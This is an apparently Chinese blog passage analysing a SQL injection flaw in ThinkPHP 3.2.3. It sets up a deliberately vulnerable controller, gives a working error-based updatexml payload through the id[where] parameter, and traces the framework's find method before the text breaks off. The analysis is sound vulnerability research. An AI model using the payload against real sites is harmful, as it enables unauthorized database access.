thinkPHP3.2.3sql注入漏洞

本文深入探讨了ThinkPHP3.2.3中的一个SQL注入漏洞,通过分析`M`、`D`、`U`、`I`等方法的使用,特别是`find`方法和`_parseOptions`函数,揭示了由于条件查询处理不当导致的安全问题。作者通过断点调试展示了攻击payload如何影响查询过程,最终形成未过滤的SQL语句,提醒开发者关注代码安全和输入验证。

前言

攻敌所必救:

搭建:

  1. 首先第一步就是必须先放在www目录下(我是windows用的phpstudy)!!!!

  2. 创建数据库,表名一定与你接下来要M的名字的相对应

  3. 连接数据库的文件不多说了,自己配置:ThinkPHP/Conf/convention.php

  4. 配置控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php

    <?php
    namespace Home\Controller;
    use Think\Controller;
    class IndexController extends Controller {
         
         
        public function index(){
         
         
            $this->show('原来内容已经省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}
    }
    
  5. 测试:

    在这里插入图片描述

正文

payload:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));

I和M方法都没有什么问题,真正的问题在于

  1. find 方法上,来自/ThinkPHP/Mode/Lite/Model.class.php
 public function find($options=array()) {
   
      
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
   
   //但是会进入这里
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
   
   
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
   
   
                $i = 0;
                foreach ($pk as $field) {
   
   
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
   
   
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
     	
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值